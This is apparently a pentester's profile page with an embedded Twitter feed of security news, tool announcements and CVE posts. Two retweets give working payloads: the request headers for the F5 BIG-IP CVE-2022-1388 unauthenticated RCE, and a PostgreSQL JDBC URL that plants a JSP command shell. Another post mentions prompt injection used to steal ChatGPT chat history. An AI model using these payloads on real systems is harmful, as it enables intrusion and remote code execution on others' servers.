Michyweb

Developer, Pentester, Security consultant

[Michyweb @M1ChyB]

Human-in-the-loop supply chain attacks can spread across developers and repositories. To help detect suspicious changes I created a GitHub Action inspired by incidents such as Miasma.
https://t.co/plcCy3ru5L
#GitHubActions #AppSec #DevSecOps #SupplyChainSecurity

[Johann Rehberger @wunderwuzzi23]

👉 Analzye an image with ChatGPT and have your chat history stolen.

#promptinjection #GPT4V #openai #chatgpt #infosec @simonw

[Michyweb @M1ChyB]

Excited to unveil "Formshaker", a project years in the making with my friend Juan Manuel García Martínez! 🚀 Check it out, Feedback welcomed. 👉 https://t.co/rbNiYaO21h #Formshaker #WebSecurity #XSS #Tools"

[Michyweb @M1ChyB]

https://t.co/ZaDav5aTUO

[Michyweb @M1ChyB]

@lostinsecurity Congratulations, awesome achievement

[CounterCraft @countercraftsec]

📰 Breaking: We are proud to announce that CounterCraft has been awarded a sole-source contract from the U.S. government, with a ceiling of more than $26MM.

Learn more here⬇️ https://t.co/lWL9pz49pf

[Michyweb @M1ChyB]

@BurpBounty Awesome, the look is pretty cool, you are doing a great job with the new website, congrats, keep it up!

[Bounty Security @BountySecurity]

🎉New Website published🎉

🎁To celebrate the launch of the new website, we are giving away three annual Burp Bounty Pro licenses!

👉To participate you have to retweet and like. The winners will be announced on September 30.

👉https://t.co/DXxo2SKrY7

[NCC Group Research & Technology @NCCGroupInfosec]

Technical Advisory - Multiple vulnerabilities in Nuki smart locks (CVE-2022-32509, CVE-2022-32504, CVE-2022-32502, CVE-2022-32507, CVE-2022-32503, CVE-2022-32510, CVE-2022-32506, CVE-2022-32508, CVE-2022-32505)

https://t.co/sAJeGJrITh

[Jas502n @jas502n]

#CVE-2022-1388 F5's BIG-IP Unauth RCE

Connection: keep-alive, X-F5-Auth-Token
Authorization: Basic YWRtaW46
X-F5-Auth-Token: anything

https://x.x.x.x:443/mgmt/tm/util/bash

[Jas502n @jas502n]

postgresql Arbitrary File Write Vulnerability

jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>

https://t.co/Op3W61oyIx

[Reuters @Reuters]

LIVE: Volcano erupts on La Palma in the Canary Islands https://t.co/ewyr5LpSNn

[Michyweb @M1ChyB]

https://t.co/itgXbdnR4E

[☠ Román Medina-Heigl Hernández @roman_soft]

Exploit (generator) for cve-2021-40444
https://t.co/o6DQq7LB5N

[Michyweb @M1ChyB]

@n4xh4ck5 Felicidades máquina 👏

[Florian Roth ⚡️ @cyb3rops]

HTTP Protocol Stack Remote Code Execution Vulnerability - CVE-2021-31166

Wormable, RCE, HTTP Protocol IIS Service, CVSS 9.8 > Panic 😱

Looking at the list of affected systems, you suddenly start to relax 💆🏻‍♂️

[Mathy Vanhoef @vanhoefm]

I found some design and implementation flaws in Wi-Fi again. All Wi-Fi devices are affected. It was a long ~9 months embargo, over this time a lot of info has been collected and that info now available at https://t.co/nAQtK9XY0R

[David Barroso @lostinsecurity]

I guess that we are all doomed

https://t.co/jVFmajJH07

[Michyweb @M1ChyB]

@MITREattack That was very funny 😄

[ATT&CK @MITREattack]

As we get ready to release ATT&CK for Containers with our April release, we realize that some have gotten the wrong impression of how we’ve scoped Containers. We wanted to share some examples of upcoming groups and techniques starting with our new Ever Given group page.